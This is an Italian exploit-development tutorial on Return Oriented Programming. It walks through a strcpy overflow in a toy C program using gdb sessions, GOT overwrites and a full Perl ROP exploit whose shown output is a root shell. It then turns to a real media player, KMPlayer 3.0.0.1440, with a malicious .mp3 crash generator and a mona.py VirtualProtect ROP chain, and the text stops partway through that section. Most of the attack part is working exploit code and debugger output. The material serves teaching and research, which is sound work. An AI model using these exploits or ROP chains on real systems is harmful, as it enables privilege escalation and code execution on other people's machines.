Nella parte precedente, abbiamo passato in rassegna tutti i nuovi sistemi di sicurezza ideati negli ultimi dieci anni. Essi sono stati pensati per limitare le vulnerabilità che nascono dalla cattiva gestione delle strutture di memoria e funzioni di basso livello nei programmi da parte dei programmatori.
In conclusione, abbiamo reso evidente che, nella maggior parte dei casi, gli attacchi vengono fermati.
Tuttavia, in molti casi rimane possibile portare a termine attacchi con esito positivo tramite tecniche molto complesse. In questo articolo vedremo un esempio che darà idea delle metodologie e tecniche necessarie al giorno d’oggi per sfruttare tale vulnerabilità.
Lo stato dell’arte degli attacchi che sfruttano la vulnerabilità suddetta vede come protagonista una tecnica simile a quella già vista “ret-into-libc”. Questa metodologia è considerata limitata per alcuni motivi:
1 L’attaccante è in grado di invocare solo funzioni già esistenti nella sezione text del programma o nelle librerie che sono linkate assieme.
2 Il codice può essere solo rettilineo, ovvero una chiamata dopo l’altra, senza possibilità di modificare registri direttamente.
3 Rimuovendo certe funzioni (non utilizzate) dell’immagine di processo si può limitare le possibilità dell’attaccante.
Return Oriented Programming, abbreviata ROP, è la sua evoluzione che fa un uso più creativo del codice già esistente. In pratica questa tecnica fa uso di piccole sequenze di codice denominate “gadgets” composte da due o tre istruzioni di codice. Queste si trovano già nell’immagine di processo.
La predisposizione dei “gadgets” è un processo piuttosto difficile e delicato, in relazione ai classici attacchi ret-to-libc, ci sono 3 differenze fondamentali:
1 La sequenza del codice che invochiamo è molto breve, solitamente due o tre istruzioni che fanno soltanto una piccola parte di lavoro. Negli attacchi ret-to-libc tradizionali, il blocco prodotto è una intera funzione che svolge il compito fondamentale. Di conseguenza, i nostri attacchi saranno ad un livello di astrazione più basso.
2 Generalmente le sequenze di codice che noi invocheremo non avranno ne prologo ne epilogo e non saranno concatenate assieme durante l’attacco in un modo standard.
3 Inoltre, le sequenze di codice che noi invocheremo, considerando i blocchi, hanno un’interfaccia casuale; al contrario, l’interfaccia della chiamata a funzione è standardizzata come una parte dell’ABI. Questi gadgets o breve sequenza di istruzioni possono essere combinate assieme per permetterci di eseguire varie operazioni, tra cui caricare/scaricare da registri, operazioni logiche e aritmetiche, controllo del flusso e chiamate di sistema.
La differenza sostanziale con ret-into-libc è che nello stack non viene iniettato codice, ma solo gli indirizzi di questi gadget localizzati in .text delle libc.
L’esecuzione di ogni gadget avviene sempre nel medesimo modo, il processore esegue l’istruzione ret con il registro ESP che punta alla WORD contenente l’indirizzo del prossimo gadget.
L’istruzione ret, sistema il contenuto dello stack pointer (ESP) in EIP, al momento del ritorno da una funzione. Su questo meccanismo si basano gli attacchi ret-to-libc. Questo funziona perchè al momento della chiamata a ret esp punterà all’indirizzo di ritorno che era stato salvato nello stack. Il seguente codice mostra come utilizzare ret:
#include <stdio.h> #include <stdlib.h> #include <string.h> char string[]="/bin/sh"; char end[]="echo END"; void func(void); int main(int argc,char**argv) { func(); // Will never call: system(end); } void func(void) { int dummy; // Return address of our shell int system = 134513420; // Decimal code of 0x804830c (<system@plt>) printf("\nCall a shell via .plt:\n"); asm( "push %1;" "push %2;" "push %0;" "ret;" : :"r"(system), "r"(string), "r"(dummy)); }
L’indirizzo della system può cambiare a seconda dell’ambiente naturalmente, è sufficiente ricalcolarlo con gdb come già sapete fare:
root@HackLab:~/RetOriented# gdb a.out -q (gdb) disass main Dump of assembler code for function main: 0x080483f4 <main+0>: lea 0x4(%esp),%ecx ... 0x08048402 <main+14>: sub $0x14,%esp 0x08048405 <main+17>: call 0x804841f 0x0804840a <main+22>: movl $0x804a020,(%esp) 0x08048411 <main+29>: call 0x804830c <system@plt> ... End of assembler dump. (gdb) x/8i 0x804830c 0x804830c <system@plt>: jmp *0x804a004 0x8048312 <system@plt+6>: push $0x8 ...
L’indirizzo che ci serve è 0x084830c.
Lavorando sul valore di dummy è possibile far eseguire una ulteriore funzione dopo essere ritornati da system(). Compiliamo ed eseguiamo:
root@HackLab:~/RetOriented# gcc test0E.c -g root@HackLab:~/RetOriented# ./a.out Call a shell via .plt: sh-3.2#
ROP può essere molto ostico da capire. soprattutto quando non si ha familiarità con l’architettura dei sistemi operativi. Come per la parte precedente, lascerò a fine articolo, fra i riferimenti bibliografici molte risorse per approfondire e comprendere in modo adeguato gli attacchi basati su ROP.
Si osservi ora il seguente programma. Esso è banale, ma ci permette di capire quanto può sia difficile aggirare i nuovi sistemi di protezione.
#include <stdio.h> #include <stdlib.h> #include <string.h> int func(char *msg) { char buf[80]; strcpy(buf,msg); // Bug buf[0] = toupper(buf[0]); strcpy(msg,buf); printf("Caps: %s\n",msg); exit(1); } int main(int argc, char**argv) { func(argv[1]); }
Sfruttando la doppia strcpy() possiamo scrivere un indirizzo arbitrario in una posizione arbitraria.
Questo perchè possiamo sovrascrivere “char* msg”. La situazione:
____________________________________________
| | | |
| puntatore | | buffer |
|___________|___|________________________|__
4 byte ? 88 bytes
Dobbiamo sempre verificare la reale dimensione di memoria allocata per il buffer, non è detto sia esattamente 80 bytes:
(gdb) disass func Dump of assembler code for function func: 0x08048484 <+0>: push %ebp 0x08048485 <+1>: mov %esp,%ebp 0x08048487 <+3>: sub $0x68,%esp 0x0804848a <+6>: mov 0x8(%ebp),%eax 0x0804848d <+9>: mov %eax,0x4(%esp) 0x08048491 <+13>:lea -0x58(%ebp),%eax
infatti: “lea -0×58(%ebp),%eax” riserva ben 88 bytes, 8 in più.
Poi, quanto dista il buffer dal puntatore passato a func? Questa è una informazione molto importante, dato che nel codice di attacco dovremo prevedere proprio un “padding” per poter arrivare al puntatore. Troviamola:
(gdb) break 7 Breakpoint 1 at 0x804848a: file vuln.c, line 7. (gdb) run Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out Breakpoint 1, func (msg=0x0) at vuln.c:8 8 strcpy(buf,msg); (gdb) print &msg $1 = (char **) 0xbffff3a0 (gdb) print &buf $2 = (char (*)[80]) 0xbffff340 0xbffff3a0 - 0xbffff340 = 96 bytes
dovrebbe essere 96 bytes. Verifichiamo:
(gdb) run $(python -c "print 'A'*96") Breakpoint 1, func (msg=0xbffff5af 'A' ) at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]);
Indaghiamo:
(gdb) print &msg $2 = (char **) 0xbffff340 (gdb) x/100x $esp ... 0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff340: 0xbffff500 0x0011e0c0 0x0804851b 0x00283ff4 0xbffff350: 0x08048510 0x00000000 0xbffff3d8 0x00144bd6 0xbffff360: 0x00000002 0xbffff404 0xbffff410 0xb7fff858 ...
direi che è corretto, 96 bytes.
Sovrascriviamo il byte più a destra, questo non dovrebbe far crashare il programma dato che il puntatore rimane relativo ad una zona vicina:
(gdb) run $(python -c "print 'A'*97") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'A'*97") Breakpoint 1, func (msg=0xbffff5ae 'A' ) at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]); (gdb) x/100x $esp ... 0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff340: 0xbfff0041 0x0011e0c0 0x0804851b 0x00283ff4 0xbffff350: 0x08048510 0x00000000 0xbffff3d8 0x00144bd6 ... (gdb) continue Continuing. Caps: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Tutto ok.
Invece, proviamo a sovrascrivere un byte in più:
(gdb) run $(python -c "print 'a'*98") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'a'*98") Breakpoint 1, func (msg=0xbffff5ad 'a' ) at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]); (gdb) n 10 strcpy(msg,buf); (gdb) n Program received signal SIGSEGV, Segmentation fault. 0x001a1214 in strcpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) inf reg eax 0xbf006161 -1090494111 ecx 0x41 65 edx 0x0 0 ebx 0x283ff4 2637812 esp 0xbffff2c0 0xbffff2c0 ebp 0xbffff2c8 0xbffff2c8 esi 0xbf006160 -1090494112 edi 0xbffff2e0 -1073745184 eip 0x1a1214 0x1a1214 <strcpy+20> eflags 0x210246 [ PF ZF IF RF ID ] ...
Come vedete EAX contiene un indirizzo non accessibile per il nostro programma. quindi la strcpy(), tentando di scriverci, riceve dal kernel un errore SIGSEGV.
Inserendo 96 bytes più 4 byte, questi ultimi 4 potrebbero divenire quelli che vanno a modificare il valore del puntatore. In questo modo la copia seguente andrebbe a modificare i byte che si trovano proprio a quell’indirizzo. Ci resta solo da decidere che cosa sovrascrivere.
Data la semplicità del programma l’unica cosa che mi pare ovvia da fare, è sovrascrivere la entry nella sezione GOT relativa alla funzione printf(). Abbiamo già trattato la funzione della sezione GOT in un capitolo precedente.
Questa contiene una serie di indirizzi associati a funzioni della libc. Al posto di printf() eseguiremo qualcosa d’altro.
Per riuscire a sovrascrivere la entry è necessario fare ancora qualche ragionamento.
La sezione GOT è scrivibile. Siccome la vulnerabilità in questione riguarda una doppia strcpy() dobbiamo adattare la stringa per essere “multiuso” diciamo. Infatti nell’estremità più bassa di essa deve essere posizionato l’indirizzo della GOT. Ricaviamolo,
root@Saturn:~/Documenti/RetOriented-Exploit$ objdump -R a.out a.out: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT __gmon_start__ 0804a004 R_386_JUMP_SLOT toupper 0804a008 R_386_JUMP_SLOT __libc_start_main 0804a00c R_386_JUMP_SLOT strcpy 0804a010 R_386_JUMP_SLOT printf 0804a014 R_386_JUMP_SLOT exit
0x0804a010 deve essere posizionato dopo il padding in fondo al buffer in modo da sovrascire il puntatore.
Mentre in testa al buffer viene posizionato il codice da copiare, dato che la seconda strcpy() comincerà la copia della testa del buffer. Qui noi posizioneremo una serie di indirizzi in stile ret-to-libc.
Prima di decidere cosa copiare facciamo un primo esperimento, ‘AAAA’ inceve che un indirizzo valido:
root@Saturn:~/Documenti/RetOriented-Exploit$ gdb a.out -q Reading symbols from /home/matteo/Documenti/RetOriented-Exploit/a.out...done. (gdb) break main (gdb) run $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") Breakpoint 1, main (argv=2, argc=0xbffff404) at vuln.c:16 16 func(argc[1]); (gdb) s func (msg=0xbffff5ab "AAAA", 'p' , "\020\240\004\b") at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]); (gdb) print msg $27 = 0x804a010 "\256\203\004\b\276\203\004\b" (gdb) n 10 strcpy(msg,buf); (gdb) n 11 printf("Caps: %s\n",msg); (gdb) x/25i msg 0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: inc %ecx 0x804a011 <_GLOBAL_OFFSET_TABLE_+29>: inc %ecx ... (gdb) n Program received signal SIGSEGV, Segmentation fault. 0x080483a8 in printf@plt ()
La mia indagine credo sia chiara, abbiamo sovrascritto la entry nella GOT con 0×41414141 che, ovviamente, ha fatto crashare il programma. Ma abbiamo capito meglio la situazione.
Se noi al posto di AAAA reinseriamo la GOT entry di printf, tutto dovrebbe filare liscio. Ricaviamo la entry corretta:
(gdb) x/1x 0x804a010 0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: 0x080483ae (gdb) run $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") Caps: 0Q Program received signal SIGSEGV, Segmentation fault. 0x080483b8 in exit@plt ()
Ha crashato comunque me questo perchè la sringa non potevamo passarla con un terminatore ”, quindi la copia ha proseguito rovinando anche la entry got della exit. (Difatti è la exit() che fallisce) Bene allora correggiamo il tutto sovrascrivendo anche la entry della exit:
(gdb) x/2x 0x804a010 0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: 0x080483ae 0x080483be (gdb) run $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08") Caps: 0Q Program exited with code 01.
Funziona. Come se niente fosse. Questa tecnica ci può tornare utile perchè potremmo pensare di modificare il comportamento del programma senza farlo crashare dopo l’esecuzione del nostro codice.
In questo caso però non possiamo fare questo ragionamento dato che la entry di printf() è esattamente quella prima di exit, a meno che ci basti fare una chiamata sola, ma questo è piuttosto improbabile.
Possiamo però spostare la entry di exit() alla fine del nostro codice in modo tale da invocarla comunque alla fine. Riassumendo il nostro buffer di attacco sarà così composto:
|our gadgets addresses|,|exit@got|,|padding|,|address of printf@got|
Che compito dovranno avere i nostri gadget? Pensando di eseguire un exploit locale il più semplice possibile sceglierei di cercare di eseguire la funzione system() sovrascrivendo la got entry di printf(). Abbiamo già visto come invocare system. Quello che non abbiamo è la entry nella sezione plt che ci occorre, questo perchè la funzione system non è usata dal nostro programma. Occorre dunque scoprire come poter chiamare la funzione.
Vi propongo la sequente indagine,
Analizziamo con gdb ancora un volta il programma vuln.c e cerchiamo di capire come poter ricavare l’indirizzo di system() senza che nel programma questa venga usata, quindi senza entry per system nella sezione .plt.
root@saturn:~/RETOR# gdb a.out -q (gdb) break main Breakpoint 1 at 0x80484e1: file vuln.c, line 16. (gdb) run Starting program: /root/RETOR/a.out Breakpoint 1, main (argc=1, argv=0xbffec994) at vuln.c:16 16 func(argv[1]); (gdb) p system $1 = {} 0xb7eaaac0 # Indirizzo di system() in libc (gdb) x/10i 0x8048374 # 0x8048374 è l'indirizzo di chiamata di strcpy@plt 0x8048374 <strcpy@plt>: jmp *0x804a00c # nella sezione plt viene effettuato un salto a 0x804a00c, il quale 0x804837a <strcpy@plt+6>: push $0x18 # rimanda a 0x804837a 0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48> # viene effettuato un salto a 0x8048334 0x8048384 <printf@plt>: jmp *0x804a010 ... (gdb) x/10i 0x8048334 # siamo nella sezione _init a 0x8048334, dalle istruzioni vediamo 0x8048334 <_init+48>: pushl 0x8049ff8 # che viene effettuato un'altro salto. 0x804833a <_init+54>: jmp *0x8049ffc # *0x8049ffc è un'altro puntatore ad indrizzo 0x8048340 <_init+60>: add %al,(%eax) 0x8048342 <_init+62>: add %al,(%eax)... (gdb) x/1x 0x8049ffc 0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080 # a tale locazione (nella GOT) ci manda nelle libc. (gdb) q The program is running. Exit anyway? (y or n) y
Gli indirizzi che cambiano sempre sono quelli delle libc naturalmente, 0xb7ff6080 e l’indirizzo di system: 0xb7eaaac0.
Quello che è interessante è che nel programma analizzato, il primo di questi indirizzi si trova ad una locazione fissa. Nella GOT, abbiamo visto prima che è a:
0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080
Sempre. Per il momento verifichiamo questa tesi e verifichiamo anche che la differenza tra i due indirizzi rimane la stessa. Questo è ovvio ma effettuiamo comunque il calcolo per fissare le idee.
0xb7ff6080 – 0xb7eaaac0 = 0x14b5c0 (1357248 bytes)
prendiamo nota del risultato e rieffettuiamo i test con un’altra istanza del programma che rilocherà le libc ad indirizzi differenti.
root@saturn:~/RETOR# gdb a.out -q (gdb) break main Breakpoint 1 at 0x80484e1: file vuln.c, line 16. (gdb) run Starting program: /root/RETOR/a.out Breakpoint 1, main (argc=1, argv=0xbf9df054) at vuln.c:16 16 func(argv[1]); (gdb) p system $1 = {} 0xb7f4fac0 (gdb) x/10i 0x8048374 0x8048374 <strcpy@plt>: jmp *0x804a00c 0x804837a <strcpy@plt+6>: push $0x18 0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48> ... (gdb) x/10i 0x8048334 0x8048334 <_init+48>: pushl 0x8049ff8 0x804833a <_init+54>: jmp *0x8049ffc ... (gdb) x/1x 0x8049ffc 0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb809b080
Ricalcoliamo:
0xb809b080 – 0xb7f4fac0 = 0x14b5c0 (1357248 bytes)
ok, questo era ovvio.
Abbiamo visto anche che la locazione nella GOT contenente l’indirizzo 0xb809b080 è sempre 0x8049ffc. Questa è fissa ad ogni esecuzione.
Questo ci permette di calcolare l’indirizzo della funzione system,
Il seguente programma esegue system() calcolando il suo indirizzo a runtime. (relativamente al mio ambiente)
#include char string[]="/bin/sh"; void main(void) { asm( "push %0;" "push $0x41414141;" "movl $0x8049ffc, %%edi;" "movl (%%edi), %%eax;" "subl $0x14b5c0, %%eax;" "push %%eax;" "ret;" : :"r"(string) ); }
L’indirizzo 0x8049ffc utilizzato è relativo all’ambiente naturalmente. Così come l’offset dipende come minimo dalla versione delle libc. Abbiamo dunque appreso che l’offset tra l’indirizzo memorizzato alla locazione fissa in <GOT+8> all’indirizzo di system è sempre di 1357248 bytes. Possiamo prendere come riferimento questo indirizzo come altri all’interno dell’immagine, l’importante è che sia fisso.
Fatto questo vediamo l’exploit del programma.
Quello che vedremo non è semplicemente un exploit che utilizza la tecnica ret-oriented ma un misto di più tecniche.
Prima di vederlo e di spiegarne il funzionamento parliamo subito del problema principale a cui abbiamo girato attorno da un pò di righe a questa parte. Il punto è che gli exploit moderni sono molto dipendenti dall’ambiente in cui ci troviamo. Nel senso che se cambiassimo la versione delle libc o la versione del compilatore utilizzato l’exploit che vedremo fra poco non funzionerà più. (questo in particolare)
Quindi purtroppo / per fortuna i sistemi vulnerabili sono drasticamente diminuiti un pò per questo motivo, un pò perchè, come abbiamo visto, le tecniche si sono molto complicate.
Detto questo l’exploit in perl:
1 #!/usr/bin/perl 2 3 # code description virtual address 4 5 print "\xa2\x85\x04\x08" . # first gadget --> 0x804a010 6 "\x90\x90\x90\x90" . # padding --> 0x804a014 7 "\x90\x90\x90\x90" . # padding --> 0x804a018 8 "\xe8\xa2\x04\x08" . # pointer to this section --> 0x804a01c 9 "\x8c\x83\x04\x08" . # address of second gadget --> 0x804a020 10 "\xd0\x2c\xfc\xff" . # EAX --> 0x804a024 11 "\x14\xa0\x8e\x13" . # EBX --> 0x804a028 12 "AAAA" . # padding --> 0x804a02c 13 "/bin/sh;" . # system() argument --> 0x804a030 (+ 8 b) 14 "A"x48 . # padding --> 0x804a038 (+ 48 b) 15 "\x10\xa0\x04\x08" . # printf GOT entry address --> 0x804a068 16 "\x30\xa0\x04\x08"x160 .# dummy --> 0x804a06c (+ 640 b) 17 "\xce\x85\x04\x08" . # address of third dadget --> 0x804a2ec 18 "\x30\xa0\x04\x08"x0x2 .# dummy --> 0x804a2f0 (+8 b) 19 "\x30\xa0\x04\x08" . # dummy EBP --> 0x804a2f8 20 "\xaf\x84\x04\x08" . # call *%eax --> 0x804a2fc 21 "\x30\xa0\x04\x08"; # "/bin/sh" address --> 0x804a300 # GADGETS SUMMARY: # # 1) add 0xc, %esp - 0x80485a2 # pop %ebx # pop %esi # pop %edi # pop %ebp # ret # # 2) pop %eax - 0x804838c # pop %ebx # leave # ret # # 3) add -0xb8a0008(%ebx),%eax - 0x80485ce # add $0x4, %esp # pop %ebx # pop %ebp # ret # # 4) call *%eax - 0x80484af
La prima osservazione che facciamo è che la copia del buffer che passiamo a riga di comando va a sovrascrivere il puntatore con l’indirizzo: “0x804a010″. Esattamente la riga numero 15 dello script.
La seconda copia andrà di conseguenza a scrivere a partire proprio da quell’indirizzo la nostra stringa. A questo punto il programma proseguirà normalmente fino al punto in cui printf viene chiamata. Siccome abbiamo sovrascritto il valore memorizzato a 0x804a010, il tutto salterà all’inizio della nostra stringa. (riga 5)
Qui è memorizzato l’indirizzo del primo gadget. Questo viene eseguito memorizzando nei registri ESI e EDI le WORD costituite da ’0×90′. Poi in EBP viene inserito l’indirizzo appena precedente al terzo gadget. Capiremo il perchè fra poco.
Quando l’istruzione “ret” viene eseguita il registro ESP punta all’indirizzo del gadget successivo, questo indirizzo viene caricato in EIP, quindi l’esecuzione passa a questo gadget. Questo caricherà nei registri EAX ed EBX i valori che abbiamo sistematicamente posizionato in memoria nelle due successive locazioni.
L’istruzione “leave” ci spiega il perchè abbiamo precedentemente caricato in EBP l’indirizzo subito precedente al terzo gadget, infatti “leave” sistemerà questo in ESP poi lo incrementerà facendolo puntare al terzo gadget. La ret fa il resto.
Il terzo gadget presenta come prima istruzione una addizzione che somma un certo valore al registro EAX. Attraverso questa istruzione noi calcoliamo l’indirizzo di system in modo dinamico. Già, perchè in EBX ho un valore a cui sottraendo 0xb8a0008 ottengo l’indirizzo della GOT entry di strcpy. Il valore puntato da questo indirizzo viene addizzionato a EAX, EAX contiene un offset. Anche questo valore è stato caricato dal gadget precedente e contiene l’offset tra strcpy e sytem nelle libc espresso come valore negativo. Questo è fisso naturalmente. Il risultato della computazione è l’indirizzo di system.
A questo punto abbiamo tutti gli elementi che ci servono. EAX contiene l’indirizzo che ci occorre, le restanti istruzioni riservano memoria sufficiente all’esecuzione di system senza rischiare di avere un SIGSEGV andando a scrivere in una porzione di memoria non accessibile. L’ultimo gadget consiste nell’istruzione “call *%eax” ovvero la chiamata ad una routine con indirizzo puntato da un registro, nel nostro caso EAX.
Questo è sicuramente uno dei casi più complicati per motivi diversi.
Prima di tutto il calcolo di system in modo dinamico. Le libc sono anche esse rilocate ad indirizzi random così come lo stack. Il segmento .text del programma è estremamente limitato, pertanto abbiamo pochissimi gadget a disposizione.
Si può dire che normalmente si hanno molte più possibilità con programmi normali che hanno un sezione text molto più vasta.
L’esecuzione del programma normale è la seguente:
root@HackLab:~/RetOriented# ./ex1 prova Caps: Prova
L’exploit:
root@HackLab:~/RetOriented# ./ex1 $(./AdvRetExploit.pl) sh-3.2# whoami root sh-3.2# exit exit sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: command not found Segmentation fault
Su Microsoft windows la situazione è similare, in questo caso però avremo dalla nostra parte che il suo sistema di DLL racchiude in se svariati problemi che rendono il sistema, nel complesso, più vulnerabile. Purtroppo devo dare per scontato molti concetti riguardanti le shellcode su windows. Il seguente è un esempio di exploit locale che fa uso di tecnica ROP.
Il programma è per l’esattezza: “The KMPlayer 3.0.0.1440”.
Avviamo il programma e controlliamo il processo con ProcessExplorer.exe e Immunity debugger.
Se effettuiamo il controllo senza aprire prima nessun file audio, non troviamo nessun modulo non protetto, dunque non siamo in grado di eseguire alcunchè. Se invece apriamo un file audio “.mp3” il processo carica a runtime delle dll, queste sono quelle relative ai codec. Tra queste, due in particolare non vengono protette dal sistema ASLR. L’indagine con lo script ASLRdynamicbase.py restituisce l’output seguente: (viene utilizzato qui Immunity debugger con diversi plugin in python)
ASLR /dynamicbase Table Base Name DLLCharacteristics Enabled? 71880000 sensapi.dll 0x0140 ASLR Aware (/dynamicbase) 73a80000 wdmaud.drv 0x0140 ASLR Aware (/dynamicbase) 758c0000 MSASN1.dll 0x0540 ASLR Aware (/dynamicbase) ... 75e50000 SHLWAPI.dll 0x0140 ASLR Aware (/dynamicbase) 770a0000 USER32.dll 0x0140 ASLR Aware (/dynamicbase) 72cd0000 CSCAPI.dll 0x0140 ASLR Aware (/dynamicbase) 64e40000 ashShell.dll 0x0000 73790000 midimap.dll 0x0140 ASLR Aware (/dynamicbase) 74200000 WindowsCodecs.dll 0x0140 ASLR Aware (/dynamicbase) 73750000 OLEACC.dll 0x0140 ASLR Aware (/dynamicbase) ... 778b0000 NSI.dll 0x0540 ASLR Aware (/dynamicbase) 75eb0000 WLDAP32.dll 0x0140 ASLR Aware (/dynamicbase) 6c210000 GrooveIntlResource.dll 0x0540 ASLR Aware (/dynamicbase) 75b00000 KERNELBASE.dll 0x0140 ASLR Aware (/dynamicbase) 6d720000 msi.dll 0x0140 ASLR Aware (/dynamicbase) 00400000 KMPlayer.exe 0x0000 5fb30000 qasf.dll 0x0140 ASLR Aware (/dynamicbase) 76450000 shell32.dll 0x0140 ASLR Aware (/dynamicbase) 761a0000 SETUPAPI.dll 0x0140 ASLR Aware (/dynamicbase) ... 75c70000 wininet.dll 0x0140 ASLR Aware (/dynamicbase) 75920000 WINTRUST.dll 0x0140 ASLR Aware (/dynamicbase) 772d0000 RPCRT4.dll 0x0140 ASLR Aware (/dynamicbase) 73eb0000 ATL.DLL 0x0140 ASLR Aware (/dynamicbase) 75b50000 IMM32.DLL 0x0140 ASLR Aware (/dynamicbase) 6d5d0000 ntshrui.dll 0x0140 ASLR Aware (/dynamicbase) 10000000 PProcDLL.dll 0x0000 5fe30000 mp3dmod.dll 0x0140 ASLR Aware (/dynamicbase)
Come noterete, oltre l’eseguibile, ci sono altri due moduli non protetti. Sfruttando questi moduli abbiamo alcune speranze di poter fare qualcosa.
Il bug dell’applicazione si trova come al solito nel parser dei file “.mp3”. Se tentiamo di aprire un file con questa estensione contenente una lunga stringa di caratteri non conformi al formato .mp3, il programma, in qualche modo, sovrascrive tale contenuto sullo stack. Risalire al tipo di errore che il programma commette è complesso ma fattibile, non rientra però nei nostri obiettivi. Ciò che dobbiamo fare è solo eseguire alcune prove per capire gli offset critici che ci occorre sapere.
Per far questo ricorriamo ai tools di metasploit.
#!/usr/bin/python evilfile = "crash.mp3" junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab..." myfile = open(evilfile,"w") myfile.write(junk) myfile.close()
Aprendo il file crash.mp3 generato, il nostro programma KMPlayer si arresterà, windows ci chiederà (se abbiamo configurato correttamente windbg) se vogliamo eseguirne il debug. Se rispondiamo si possiamo ricavarci l’indirizzo puntato da EIP al momento del crash.
(a28.ff4): Access violation – code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=336d4632 edx=76ed71cd esi=00000000 edi=00000000
eip=336d4632 esp=065611b8 ebp=065611d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
336d4632 ?? ???
Con pattern_offset.rb ci ricaviamo l’offset in byte che esprime la distanza tra l’inizio del buffer e l’EIP salvato. La distanza su questo sistema è di 4112 byte.
Analizzando lo stack al momento del crash ci accorgiamo che la nostra stringa non viene posta contiguamente nello stack ma che ci finisce dopo essere stata troncata, questo non è un problema solo se la troncatura avviene prima, se così non fosse allora dovremo inserire in ogni spezzone le istruzioni necessarie per saltare al prossimo, se non ci stiamo in uno. Fortunatamente non è questo il caso perchè la troncatura avviene solo prima.
Quando abbiamo raccolto informazioni sufficienti sul tipo di problema avviamo mona.py che ci darà una mano per la ricerca dei gadget, non potremo eseguire nulla sullo stack fino a che non chiameremo VirtulProtect() che allocherà nuova memoria assegnando permessi di scrittura e esecuzione, copieremo la nostra shellcode in questa regione e la eseguiremo.
Basandoci unicamente sul modulo ‘PProcDLL.dll’ mona produce i relativi file, in rop_virtualprotect.txt è presente la struttura rop:
mona.py eseguito con: ‘!mona rop –m PProcDLL.dll -n’
VirtualProtect register structure (PUSHAD technique) ---------------------------------------------------- EAX = NOP (0x90909090) ECX = lpOldProtect (Writable ptr) EDX = NewProtect (0x40) EBX = Size ESP = lPAddress (automatic) EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o') ESI = ptr to VirtualProtect() EDI = ROP NOP (RETN) VirtualProtect() 'pushad' rop chain ------------------------------------ rop_gadgets = [ 0x1004a594, # POP EAX # RETN (PProcDLL.dll) 0x1014f264, # ecx) 0x1001a384, # POP EDI # RETN (PProcDLL.dll) 0x1001a385, # ROP NOP (-> edi) 0x1004a594, # POP EAX # RETN (PProcDLL.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx 0x100d2b6b, # NEG EAX # RETN (PProcDLL.dll) 0x100eba5a, # XCHG EAX,EDX # RETN (PProcDLL.dll) 0x1004a594, # POP EAX # RETN (PProcDLL.dll) 0x90909090, # NOPS (-> eax) 0x10014443, # PUSHAD # RETN (PProcDLL.dll) # rop chain generated by mona.py # note : this chain may not work out of the box # you may have to change order or fix some gadgets, # but it should give you a head start ].pack("V*")
La serie di gadget utilizzata nella rop chain deve però essere analizzata e adattata per lavorare sul nostro sistema, talvolta è anche possibile che questa funzioni subito senza modifiche. Nel mio caso ho dovuto aggiustare con alcune WORD l’offset tra ESP ed EIP.
Ricordiamoci che ESP ed EIP devono essere tenuti sotto controllo durante l’esecuzione di codice ROP. ESP punta sempre alla prossima istruzione da eseguire al momento che una ‘ret’ viene eseguita, oppure punta alla locazione che verrà memorizzata in un registro in caso venga eseguita una ‘POP REG’. L’istruzione pop incrementa il valore di ESP facendo scorrere questo lungo la ROP chain, al contrario l’istruzione push incrementa ESP ed inserisce nuove WORD.
Detto questo se analizzate con un debugger lo stato dei registri al momento dell’esecuzione della ROP (mettete un breakpoint a 0x1004a594 utilizzando l’exploit con la rop chain prodotta da mona.py) ci si accorge che le modifiche vanno apportate in corrispondenza delle istruzioni seguenti:
- 0x1004a594, # POP EAX # RETN (PProcDLL.dll)
